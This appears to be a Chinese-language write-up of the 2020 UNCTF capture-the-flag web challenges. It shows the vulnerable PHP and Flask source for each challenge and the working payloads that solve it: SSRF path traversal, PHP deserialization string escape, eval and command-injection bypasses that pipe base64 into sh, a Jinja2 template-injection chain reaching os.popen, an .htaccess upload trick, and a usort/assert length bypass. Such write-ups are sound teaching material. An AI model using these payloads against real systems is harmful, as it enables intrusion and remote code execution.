WEB

easy_ssrf

源码

  1. <?php
  2. echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
  3. highlight_file(__FILE__);
  4. $url = $_GET['url'];
  5. if(preg_match('/unctf\.com/',$url)){
  6. if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
  7. $url=file_get_contents($url);
  8. echo($url);
  9. }else{
  10. echo('error!!');
  11. }
  12. }else{
  13. echo("error");
  14. }
  15. ?>

SSRF 返回上级目录,读取文件

  1. payload:?url=unctf.com/../../../../flag

Unctf-WEB - 图1

easyunserializ

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. class a
  5. {
  6. public $uname;
  7. public $password;
  8. public function __construct($uname,$password)
  9. {
  10. $this->uname=$uname;
  11. $this->password=$password;
  12. }
  13. public function __wakeup()
  14. {
  15. if($this->password==='easy')
  16. {
  17. include('flag.php');
  18. echo $flag;
  19. }
  20. else
  21. {
  22. echo 'wrong password';
  23. }
  24. }
  25. }
  26. function filter($string){
  27. return str_replace('challenge','easychallenge',$string);
  28. } # 改变序列化中的字符
  29. $uname=$_GET[1];
  30. $password=1;
  31. $ser=filter(serialize(new a($uname,$password)));
  32. $test=unserialize($ser);
  33. ?>

php反序列化字符串逃逸
  • 序列化的特点:以 ; 为字段的分隔,以 } 为结尾,并且根据长度判断内容
  • 超出部分不会被反序列化成功,说明反序列化的过程是有一定的识别范围的,范围之外都会被自动忽略
  • 反序列化时长度不对应会报错
  • 可以反序列化不存在的元素
  1. # 过滤后字符增加时
  2. <?php
  3. function lemon($string){
  4. $lemon = '/p/i';
  5. return preg_replace($lemon,'ww',$string);
  6. }
  7. $username = $_GET['a'];
  8. $age = '20';
  9. $user = array($username,$age);
  10. var_dump(serialize($user));
  11. echo "<br>";
  12. $r = lemon(serialize($user));
  13. var_dump($r);
  14. var_dump(unserialize($r));
  15. ?>
  16. #### 第一种情况
  17. ?a=apple
  18. string(35) "a:2:{i:0;s:5:"apple";i:1;s:2:"20";}"
  19. <br>
  20. string(37) "a:2:{i:0;s:5:"awwwwle";i:1;s:2:"20";}"
  21. bool(false) ### 报错 不能反序列化
  22. #### 第二种情况
  23. ";i:1;s:2:"20";} 16个字符
  24. ?a=pppppppppppppppp";i:1;s:2:"20";}时
  25. string(63) "a:2:{i:0;s:32:"pppppppppppppppp";i:1;s:2:"20";}";i:1;s:2:"20";}"
  26. <br>string(79) "a:2:{i:0;s:32:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:2:"20";}";i:1;s:2:"20";}"
  27. array(2) {
  28. [0]=>
  29. string(32) "wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww"
  30. [1]=>
  31. string(2) "20"
  32. } ### 成功反序列化
  1. # 过滤后字符串减少时
  2. <?php
  3. function str_rep($string){
  4. return preg_replace( '/lemon|shy/','', $string);
  5. }
  6. $test['name'] = $_GET['name'];
  7. $test['sign'] = $_GET['sign'];
  8. $test['number'] = '2020';
  9. $tt=serialize($test);
  10. echo($tt);
  11. echo '<br>';
  12. $temp = str_rep($tt);
  13. echo($temp);
  14. echo'<br>';
  15. $fake = unserialize($temp);
  16. var_dump(($fake));
  17. ?>
  18. # 第一种情况
  19. name=lemon&sign=gogogo
  20. a:3:{s:4:"name";s:5:"lemon";s:4:"sign";s:6:"gogogo";s:6:"number";s:4:"2020";}
  21. a:3:{s:4:"name";s:5:"";s:4:"sign";s:6:"gogogo";s:6:"number";s:4:"2020";}
  22. bool(false) #lemon被替换 无法反序列化
  23. #第二种情况
  24. name=pika&sign=";s:6:"number";s:4:"2020";}
  25. a:3 {s:4:"name";s:4:"pika";s:4:"sign";s:27:"";s:6:"number";s:4:"2020";}";s:6:"number";s:4:"2020";}
  26. a:3:{s:4:"name";s:4:"pika";s:4:"sign";s:27:"";s:6:"number";s:4:"2020";}";s:6:"number";s:4:"2020";}
  27. array(3) { ["name"]=> string(4) "pika" ["sign"]=> string(27) "";s:6:"number";s:4:"2020";}" ["number"]=> string(4) "2020" }
  28. #第三种情况
  29. name=shyshyshyshyshyshyshyshyshy&sign=hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}
  30. a:3:{s:4:"name";s:27:"shyshyshyshyshyshyshyshyshy";s:4:"sign";s:57:"hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}
  31. a:3:a:3:{s:4:"name";s:27:"";s:4:"sign";s:57:"hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}
  32. array(3) { ["name"]=> string(27) "";s:4:"sign";s:57:"hello123" ["sign"]=> string(4) "eval" ["number"]=> string(4) "2000" }
  1. payloadchangechangechangechangechangechangechange";s:8:"password";s:4:"easy";}

Unctf-WEB - 图2

babyeval

  1. <?php
  2. // flag在flag.php
  3. if(isset($_GET['a'])){
  4. if(preg_match('/\(.*\)/', $_GET['a']))
  5. die('hacker!!!');
  6. ob_start(function($data){
  7. if (strpos($data, 'flag') !== false)
  8. return 'ByeBye hacker';
  9. return false;
  10. });
  11. eval($_GET['a']);
  12. } else {
  13. highlight_file(__FILE__);
  14. }
  15. ?>
  1. payload: ?a=echo `cat flag.php|base64`; # 注意最后需要引号,这样是完整的php代码

ezphp

  1. <?php
  2. show_source(__FILE__);
  3. $username = "admin";
  4. $password = "password";
  5. include("flag.php");
  6. $data = isset($_POST['data'])? $_POST['data']: "" ;
  7. $data_unserialize = unserialize($data);
  8. if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
  9. echo $flag;
  10. }else{
  11. echo "username or password error!";
  12. }

php反序列化 弱等于

  1. payload: a:2:{s:8:"username";b:1;s:8:"password";b:1;}

flag.php里面将username与password修改了因此不能直接序列化

看代码感觉能直接序列化,但是结果就是不行,才尝试这个方法

easy_upload

Unctf-WEB - 图3

本题禁止文件中出现某些字符,并且禁止了某些文件名

  1. 使用 .htaccess 攻击 经过测试发现.htaccess可以上传
  2. *** .htaccess 文件内容可以换行输入
  3. *** 一句话木马也可以简化

Unctf-WEB - 图4

Unctf-WEB - 图5

easyflask

预备知识SSTI

开始时由于没有学ssti导致一头雾水,网上乱扒payload,结果显然失败(还是自己认真学一下吧)

预备知识

  1. SSTI的解题步骤:找基本类—->找子类—->找可利用的子类模板

本题过滤了[] ‘ ‘ “” __

使用 |attr(request.args.value) 绕过

首先查看基本类

  1. 原来的语句:{{''.__class__.base__}}
  2. 绕过语句:{{()|attr(request.args.class)|attr(request.args.base)}}&class=__class__&base=__base__

Unctf-WEB - 图6

找子类

  1. 原句:{{''.__class__.base__.__subclasses__()}}
  2. 绕过:{{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()}}&class=__class__&base=__base__&sub=__subclasses__

Unctf-WEB - 图7

选择某一个子类

  1. 原句:{{''.__class__.__base__.__subclasses__()[199]}}输出第199
  2. 绕过: {{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getitem)(199)}}&&class=__class__&base=__base__&sub=__subclasses__&getitem=__getitem__

Unctf-WEB - 图8

读取flag

  1. 原句:{{warnings.catch_warnings.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20/flag.txt').read()")}}
  2. 绕过:{{(()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getitem)(166))|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.eval)(request.args.param)}}&class=__class__&base=__base__&sub=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&builtins=__builtins__&eval=eval&param=__import__('os').popen('cat flag.txt').read()

Unctf-WEB - 图9

注意细心 千万不要把字母拼错

UN’s_online_tools

命令执行 绕过

  1. ?url=127|sort%09index.php

Unctf-WEB - 图10

  1. 查看flag的位置:?url=127|ls%09../../../../
  2. 获取flag:??url=127.0.0|echo%09c29ydCAuLi8uLi8uLi8uLi9mbGFn|base64%09-d|sh
  3. # 使用base64绕过过滤

ezfind

Unctf-WEB - 图11

此题很玄学 非预期

L0vephp

此题需要找到正确的入口(?action=)

查看源代码

Unctf-WEB - 图12

发现了最后一段为base85编码

Unctf-WEB - 图13

此题过滤了base64 所以这里采用 php://filter/convert.quoted-printable-encode/resource=flag.php

获取到了flag.php 再解码

Unctf-WEB - 图14

发现flag是假的,并且看见了提示,使用hex解码

Unctf-WEB - 图15

访问获得源代码

  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $code=$_REQUEST['code'];
  5. $_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
  6. $__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
  7. $blacklist1 = array_merge($_);
  8. $blacklist2 = array_merge($__);
  9. if (strlen($code)>16){
  10. die('Too long');
  11. }
  12. foreach ($blacklist1 as $blacklisted) {
  13. if (preg_match ('/' . $blacklisted . '/m', $code)) {
  14. die('WTF???');
  15. }
  16. }
  17. foreach ($blacklist2 as $blackitem) {
  18. if (preg_match ('/' . $blackitem . '/im', $code)) {
  19. die('Sry,try again');
  20. }
  21. }
  22. @eval($code);
  23. ?>

目前做到这里就不会了 , 先空着等之后去学习一下大佬的wp

eval长度限制绕过

  1. 利用变长参数特性展开数组
  2. 变长参数是PHP5.6新引入的新特性,php中可以使用func(...$arr)这样的方式将$arr数组展开成多个参数传入func函数
  1. 传入样例:
  2. POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
  3. Host: localhost:8081
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 22
  10. param=usort(...$_GET);
  11. usort() 使用用户定义的比较函数对数组进行排序
  12. usort(array,myfunction) array 必须填写,规定需要排序的数组
  13. myfunction 可选,定义了一个可调用的比较函数的字符串
  14. GET变量被展开成为了两个参数['test','var_dump($_SERVER)'] 和 assert 传入了usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数的var_dump($_SERVER),即可执行函数。

开始解题

Unctf-WEB - 图16

获取flag 直接使用 cat /f*

Unctf-WEB - 图17